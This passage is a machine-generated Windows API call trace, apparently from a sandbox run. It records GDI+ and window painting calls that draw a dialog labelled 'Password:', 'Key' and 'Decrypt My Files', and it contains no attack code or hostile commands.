lParam=0x19e86c) returned 0x9 [0167.941] GetClientRect (in: hWnd=0x10252, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0167.941] GdipCreateRegion (region=0x19e780) returned 0x0 [0167.941] GdipGetClip (graphics=0x6923588, region=0x6923b88) returned 0x0 [0167.941] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0167.941] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6915f08) returned 0x0 [0167.941] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0167.941] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.941] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0167.941] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.941] GdipCombineRegionRegion (region=0x6923b88, region2=0x6923898, combineMode=0x1) returned 0x0 [0167.941] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.941] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0167.941] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.941] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0167.941] GdipIsInfiniteRegion (region=0x6923b88, graphics=0x6923588, result=0x19e7c0) returned 0x0 [0167.941] GdipIsInfiniteRegion (region=0x6923b88, graphics=0x6923588, result=0x19e7b0) returned 0x0 [0167.941] GdipGetRegionHRgn (region=0x6923b88, graphics=0x6923588, hRgn=0x19e7b0) returned 0x0 [0167.941] GdipDeleteRegion (region=0x6923b88) returned 0x0 [0167.941] GdipGetDC (graphics=0x6923588, hdc=0x19e7c8) returned 0x0 [0167.941] GetCurrentObject (hdc=0x1010743, type=0x1) returned 0xb00017 [0167.941] GetCurrentObject (hdc=0x1010743, type=0x2) returned 0x900010 [0167.942] GetCurrentObject (hdc=0x1010743, type=0x7) returned 0x8050721 [0167.942] GetCurrentObject (hdc=0x1010743, type=0x6) returned 0x8a01c2 [0167.942] SaveDC (hdc=0x1010743) returned 1 [0167.942] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xe10406fe [0167.942] GetClipRgn (hdc=0x1010743, hrgn=0xe10406fe) returned 0 [0167.942] SelectClipRgn (hdc=0x1010743, hrgn=0x1d04070e) returned 2 [0167.942] DeleteObject (ho=0xe10406fe) returned 1 [0167.942] DeleteObject (ho=0x1d04070e) returned 1 [0167.942] OffsetViewportOrgEx (in: hdc=0x1010743, x=0, y=0, lppt=0x305e4bc | out: lppt=0x305e4bc) returned 1 [0167.942] GetNearestColor (hdc=0x1010743, color=0x323533) returned 0x323533 [0167.942] CreateSolidBrush (color=0x323533) returned 0x3210073a [0167.942] FillRect (hDC=0x1010743, lprc=0x19e7cc, hbr=0x3210073a) returned 1 [0167.942] DeleteObject (ho=0x3210073a) returned 1 [0167.942] RestoreDC (hdc=0x1010743, nSavedDC=-1) returned 1 [0167.942] GdipReleaseDC (graphics=0x6923588, hdc=0x1010743) returned 0x0 [0167.942] GdipRestoreGraphics (graphics=0x6923588, state=0xfd230dbd) returned 0x0 [0167.943] GdipDeleteRegion (region=0x6923898) returned 0x0 [0167.943] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0167.943] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0167.943] GetSystemMetrics (nIndex=42) returned 0 [0167.943] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0167.943] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0167.943] GdipGetDC (graphics=0x6923588, hdc=0x19e7e8) returned 0x0 [0167.943] GetCurrentObject (hdc=0x1010743, type=0x1) returned 0xb00017 [0167.943] GetCurrentObject (hdc=0x1010743, type=0x2) returned 0x900010 [0167.943] GetCurrentObject (hdc=0x1010743, type=0x7) returned 0x8050721 [0167.943] GetCurrentObject (hdc=0x1010743, type=0x6) returned 0x8a01c2 [0167.943] SaveDC (hdc=0x1010743) returned 1 [0167.943] GetNearestColor (hdc=0x1010743, color=0xf0f0f0) returned 0xf0f0f0 [0167.943] RestoreDC (hdc=0x1010743, nSavedDC=-1) returned 1 [0167.943] GdipReleaseDC (graphics=0x6923588, hdc=0x1010743) returned 0x0 [0167.944] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.944] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0167.944] GdipGetTextRenderingHint (graphics=0x6923588, mode=0x19e788) returned 0x0 [0167.944] GdipGetDC (graphics=0x6923588, hdc=0x19e774) returned 0x0 [0167.944] GetCurrentObject (hdc=0x1010743, type=0x1) returned 0xb00017 [0167.944] GetCurrentObject (hdc=0x1010743, type=0x2) returned 0x900010 [0167.944] GetCurrentObject (hdc=0x1010743, type=0x7) returned 0x8050721 [0167.944] GetCurrentObject (hdc=0x1010743, type=0x6) returned 0x8a01c2 [0167.944] SaveDC (hdc=0x1010743) returned 1 [0167.944] GetTextAlign (hdc=0x1010743) returned 0x0 [0167.944] GetTextColor (hdc=0x1010743) returned 0x0 [0167.944] SetTextColor (hdc=0x1010743, color=0xf0f0f0) returned 0x0 [0167.944] GetCurrentObject (hdc=0x1010743, type=0x6) returned 0x8a01c2 [0167.944] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0167.945] SelectObject (hdc=0x1010743, h=0x240a0712) returned 0x8a01c2 [0167.945] GetBkMode (hdc=0x1010743) returned 2 [0167.945] SetBkMode (hdc=0x1010743, mode=1) returned 2 [0167.945] DrawTextExW (in: hdc=0x1010743, lpchText="Password:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x305e980 | out: lpchText="Password:", lprc=0x19e708) returned 63 [0167.945] RestoreDC (hdc=0x1010743, nSavedDC=-1) returned 1 [0167.945] GdipReleaseDC (graphics=0x6923588, hdc=0x1010743) returned 0x0 [0167.945] GdipGetDC (graphics=0x6923588, hdc=0x19e924) returned 0x0 [0167.945] BitBlt (hdc=0x1b010670, x=0, y=0, cx=251, cy=63, hdcSrc=0x1010743, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.946] GdipReleaseDC (graphics=0x6923588, hdc=0x1010743) returned 0x0 [0167.946] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.946] SelectObject (hdc=0x1010743, h=0x85000f) returned 0x8050721 [0167.946] DeleteDC (hdc=0x1010743) returned 1 [0167.946] GdipDeleteGraphics (graphics=0x6923588) returned 0x0 [0167.946] EndPaint (hWnd=0x10252, lpPaint=0x19e8c8) returned 1 [0167.946] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.946] IsWindowUnicode (hWnd=0x10254) returned 1 [0167.946] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.946] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.946] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.946] BeginPaint (in: hWnd=0x10254, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x60100ce [0167.947] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.947] CreateCompatibleDC (hdc=0x60100ce) returned 0x3010743 [0167.947] SelectObject (hdc=0x3010743, h=0x8050721) returned 0x85000f [0167.947] GdipCreateFromHDC (hdc=0x3010743, graphics=0x19e8d8) returned 0x0 [0167.947] GdipTranslateWorldTransform (graphics=0x6923588, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0167.947] GdipSetClipRectI (graphics=0x6923588, x=0, y=0, width=467, height=42, combineMode=0x0) returned 0x0 [0167.947] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0167.947] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6923868) returned 0x0 [0167.947] GdipIsMatrixIdentity (matrix=0x6923868, result=0x19e938) returned 0x0 [0167.947] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.947] GdipGetMatrixElements (matrix=0x6923868, matrixOut=0xf75bb0) returned 0x0 [0167.947] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.947] GdipDeleteMatrix (matrix=0x6923868) returned 0x0 [0167.947] GdipCreateRegion (region=0x19e920) returned 0x0 [0167.947] GdipGetClip (graphics=0x6923588, region=0x6923898) returned 0x0 [0167.947] GdipIsInfiniteRegion (region=0x6923898, graphics=0x6923588, result=0x19e92c) returned 0x0 [0167.947] GdipSaveGraphics (graphics=0x6923588, state=0x19e958) returned 0x0 [0167.948] GdipRestoreGraphics (graphics=0x6923588, state=0xfd210dbd) returned 0x0 [0167.948] GdipDeleteRegion (region=0x6923898) returned 0x0 [0167.948] GdipGetDC (graphics=0x6923588, hdc=0x19e660) returned 0x0 [0167.948] GetCurrentObject (hdc=0x3010743, type=0x1) returned 0xb00017 [0167.948] GetCurrentObject (hdc=0x3010743, type=0x2) returned 0x900010 [0167.948] GetCurrentObject (hdc=0x3010743, type=0x7) returned 0x8050721 [0167.948] GetCurrentObject (hdc=0x3010743, type=0x6) returned 0x8a01c2 [0167.948] SaveDC (hdc=0x3010743) returned 1 [0167.948] GetNearestColor (hdc=0x3010743, color=0x323533) returned 0x323533 [0167.948] GetNearestColor (hdc=0x3010743, color=0x111111) returned 0x111111 [0167.948] GetNearestColor (hdc=0x3010743, color=0x0) returned 0x0 [0167.948] GetNearestColor (hdc=0x3010743, color=0x868c88) returned 0x868c88 [0167.948] GetNearestColor (hdc=0x3010743, color=0x111111) returned 0x111111 [0167.948] GetNearestColor (hdc=0x3010743, color=0x969c98) returned 0x969c98 [0167.948] GetNearestColor (hdc=0x3010743, color=0x868c88) returned 0x868c88 [0167.948] GetNearestColor (hdc=0x3010743, color=0x3c3f3d) returned 0x3c3f3d [0167.949] GetNearestColor (hdc=0x3010743, color=0xc4c4c4) returned 0xc4c4c4 [0167.949] RestoreDC (hdc=0x3010743, nSavedDC=-1) returned 1 [0167.949] GdipReleaseDC (graphics=0x6923588, hdc=0x3010743) returned 0x0 [0167.949] SelectObject (hdc=0x8e0106dd, h=0xc0a0739) returned 0x240a0712 [0167.949] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Decrypt My Files", cchText=16, lprc=0x19e51c, format=0x102415, lpdtp=0x305ee58 | out: lpchText="Decrypt My Files", lprc=0x19e51c) returned 28 [0167.949] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0167.949] GdipGetClip (graphics=0x6923588, region=0x6923898) returned 0x0 [0167.949] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0167.949] GdipGetWorldTransform (graphics=0x6923588, matrix=0x6915f08) returned 0x0 [0167.949] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e5bc) returned 0x0 [0167.949] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.949] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0167.949] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.950] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0167.950] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0167.950] LocalFree (hMem=0xf75be8) returned 0x0 [0167.950] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0167.950] GdipIsInfiniteRegion (region=0x6923898, graphics=0x6923588, result=0x19e5e4) returned 0x0 [0167.950] GdipIsInfiniteRegion (region=0x6923898, graphics=0x6923588, result=0x19e5d4) returned 0x0 [0167.950] GdipGetRegionHRgn (region=0x6923898, graphics=0x6923588, hRgn=0x19e5d4) returned 0x0 [0167.950] GdipDeleteRegion (region=0x6923898) returned 0x0 [0167.950] GdipGetDC (graphics=0x6923588, hdc=0x19e5ec) returned 0x0 [0167.950] GetCurrentObject (hdc=0x3010743, type=0x1) returned 0xb00017 [0167.950] GetCurrentObject (hdc=0x3010743, type=0x2) returned 0x900010 [0167.950] GetCurrentObject (hdc=0x3010743, type=0x7) returned 0x8050721 [0167.950] GetCurrentObject (hdc=0x3010743, type=0x6) returned 0x8a01c2 [0167.950] SaveDC (hdc=0x3010743) returned 1 [0167.950] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1e04070e [0167.950] GetClipRgn (hdc=0x3010743, hrgn=0x1e04070e) returned 0 [0167.950] SelectClipRgn (hdc=0x3010743, hrgn=0xe40406fe) returned 2 [0167.950] DeleteObject (ho=0x1e04070e) returned 1 [0167.950] DeleteObject (ho=0xe40406fe) returned 1 [0167.951] OffsetViewportOrgEx (in: hdc=0x3010743, x=0, y=0, lppt=0x305f048 | out: lppt=0x305f048) returned 1 [0167.951] GetNearestColor (hdc=0x3010743, color=0x323533) returned 0x323533 [0167.951] CreateSolidBrush (color=0x323533) returned 0x3310073a [0167.951] FillRect (hDC=0x3010743, lprc=0x19e5f0, hbr=0x3310073a) returned 1 [0167.951] DeleteObject (ho=0x3310073a) returned 1 [0167.951] RestoreDC (hdc=0x3010743, nSavedDC=-1) returned 1 [0167.951] GdipReleaseDC (graphics=0x6923588, hdc=0x3010743) returned 0x0 [0167.951] GdipGetTextRenderingHint (graphics=0x6923588, mode=0x19e668) returned 0x0 [0167.951] GdipGetDC (graphics=0x6923588, hdc=0x19e654) returned 0x0 [0167.951] GetCurrentObject (hdc=0x3010743, type=0x1) returned 0xb00017 [0167.951] GetCurrentObject (hdc=0x3010743, type=0x2) returned 0x900010 [0167.951] GetCurrentObject (hdc=0x3010743, type=0x7) returned 0x8050721 [0167.951] GetCurrentObject (hdc=0x3010743, type=0x6) returned 0x8a01c2 [0167.951] SaveDC (hdc=0x3010743) returned 1 [0167.951] GetTextAlign (hdc=0x3010743) returned 0x0 [0167.951] GetTextColor (hdc=0x3010743) returned 0x0 [0167.951] SetTextColor (hdc=0x3010743, color=0x111111) returned 0x0 [0167.952] GetCurrentObject (hdc=0x3010743, type=0x6) returned 0x8a01c2 [0167.952] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0167.952] SelectObject (hdc=0x3010743, h=0xc0a0739) returned 0x8a01c2 [0167.952] GetBkMode (hdc=0x3010743) returned 2 [0167.952] SetBkMode (hdc=0x3010743, mode=1) returned 2 [0167.952] DrawTextExW (in: hdc=0x3010743, lpchText="Decrypt My Files", cchText=16, lprc=0x19e484, format=0x102415, lpdtp=0x305f304 | out: lpchText="Decrypt My Files", lprc=0x19e484) returned 28 [0167.952] DrawTextExW (in: hdc=0x3010743, lpchText="Decrypt My Files", cchText=16, lprc=0x19e5e8, format=0x102015, lpdtp=0x305f304 | out: lpchText="Decrypt My Files", lprc=0x19e5e8) returned 28 [0167.953] RestoreDC (hdc=0x3010743, nSavedDC=-1) returned 1 [0167.953] GdipReleaseDC (graphics=0x6923588, hdc=0x3010743) returned 0x0 [0167.953] GetFocus () returned 0x30212 [0167.953] GdipCreatePen1 (color=0xff007acc, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0167.953] GdipDrawRectangleI (graphics=0x6923588, pen=0x6915e78, x=0, y=0, width=466, height=41) returned 0x0 [0167.953] GdipDeletePen (pen=0x6915e78) returned 0x0 [0167.953] GdipGetDC (graphics=0x6923588, hdc=0x19e918) returned 0x0 [0167.953] BitBlt (hdc=0x60100ce, x=0, y=0, cx=467, cy=42, hdcSrc=0x3010743, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.953] GdipReleaseDC (graphics=0x6923588, hdc=0x3010743) returned 0x0 [0167.953] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.954] SelectObject (hdc=0x3010743, h=0x85000f) returned 0x8050721 [0167.954] DeleteDC (hdc=0x3010743) returned 1 [0167.954] GdipDeleteGraphics (graphics=0x6923588) returned 0x0 [0167.954] EndPaint (hWnd=0x10254, lpPaint=0x19e8bc) returned 1 [0167.954] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.954] IsWindowUnicode (hWnd=0x10256) returned 1 [0167.954] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.954] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.954] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.954] BeginPaint (in: hWnd=0x10256, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1e0106e1 [0167.954] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.955] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0167.955] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.955] GetSystemMetrics (nIndex=42) returned 0 [0167.955] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0167.955] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0167.955] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.955] EndPaint (hWnd=0x10256, lpPaint=0x19e8e4) returned 1 [0167.955] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.955] IsWindowUnicode (hWnd=0x10258) returned 1 [0167.955] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.955] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.955] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.955] BeginPaint (in: hWnd=0x10258, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0167.956] EndPaint (hWnd=0x10258, lpPaint=0x19e8c8) returned 1 [0167.956] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.956] IsWindowUnicode (hWnd=0x1025a) returned 1 [0167.956] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.956] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.956] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.956] BeginPaint (in: hWnd=0x1025a, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1b010670 [0167.956] EndPaint (hWnd=0x1025a, lpPaint=0x19e904) returned 1 [0167.956] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.956] IsWindowUnicode (hWnd=0x1025c) returned 1 [0167.956] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.956] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.957] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.957] BeginPaint (in: hWnd=0x1025c, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0167.957] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.957] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0167.957] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.957] GetSystemMetrics (nIndex=42) returned 0 [0167.957] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0167.957] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0167.957] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.957] EndPaint (hWnd=0x1025c, lpPaint=0x19e8f8) returned 1 [0167.957] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.957] IsWindowUnicode (hWnd=0x1025e) returned 1 [0167.957] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.957] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.958] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0167.958] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0167.958] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.958] IsWindowUnicode (hWnd=0x10260) returned 1 [0167.958] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.958] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.958] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.958] BeginPaint (in: hWnd=0x10260, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0167.958] EndPaint (hWnd=0x10260, lpPaint=0x19e8c8) returned 1 [0167.959] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.959] IsWindowUnicode (hWnd=0x10262) returned 1 [0167.959] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.959] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.959] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.959] BeginPaint (in: hWnd=0x10262, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1b010670 [0167.959] EndPaint (hWnd=0x10262, lpPaint=0x19e8bc) returned 1 [0167.959] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.959] IsWindowUnicode (hWnd=0x10264) returned 1 [0167.959] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.959] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.959] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.959] BeginPaint (in: hWnd=0x10264, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x60100ce [0167.960] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.960] GetWindowTextLengthW (hWnd=0x10264) returned 3 [0167.960] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.960] GetSystemMetrics (nIndex=42) returned 0 [0167.960] GetWindowTextW (in: hWnd=0x10264, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0167.960] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0167.960] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.960] EndPaint (hWnd=0x10264, lpPaint=0x19e8e4) returned 1 [0167.960] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.960] IsWindowUnicode (hWnd=0x10266) returned 1 [0167.960] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.960] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.960] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.960] BeginPaint (in: hWnd=0x10266, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0167.961] EndPaint (hWnd=0x10266, lpPaint=0x19e8c8) returned 1 [0167.961] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.961] IsWindowUnicode (hWnd=0x10268) returned 1 [0167.961] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.961] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.961] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.961] BeginPaint (in: hWnd=0x10268, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x10105d6 [0167.961] EndPaint (hWnd=0x10268, lpPaint=0x19e904) returned 1 [0167.961] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.961] IsWindowUnicode (hWnd=0x1026a) returned 1 [0167.961] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.961] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.962] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.962] BeginPaint (in: hWnd=0x1026a, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1b010670 [0167.962] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.962] GetWindowTextLengthW (hWnd=0x1026a) returned 0 [0167.962] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.962] GetSystemMetrics (nIndex=42) returned 0 [0167.962] GetWindowTextW (in: hWnd=0x1026a, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0167.962] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0167.962] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0167.962] EndPaint (hWnd=0x1026a, lpPaint=0x19e8f8) returned 1 [0167.962] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.962] IsWindowUnicode (hWnd=0x1026c) returned 1 [0167.962] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.963] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.963] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0167.963] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0167.963] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.963] IsWindowUnicode (hWnd=0x1026e) returned 1 [0167.963] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.963] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.963] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.963] BeginPaint (in: hWnd=0x1026e, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0167.963] EndPaint (hWnd=0x1026e, lpPaint=0x19e8c8) returned 1 [0167.963] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.963] IsWindowUnicode (hWnd=0x10270) returned 1 [0167.964] GetMessageW (in: 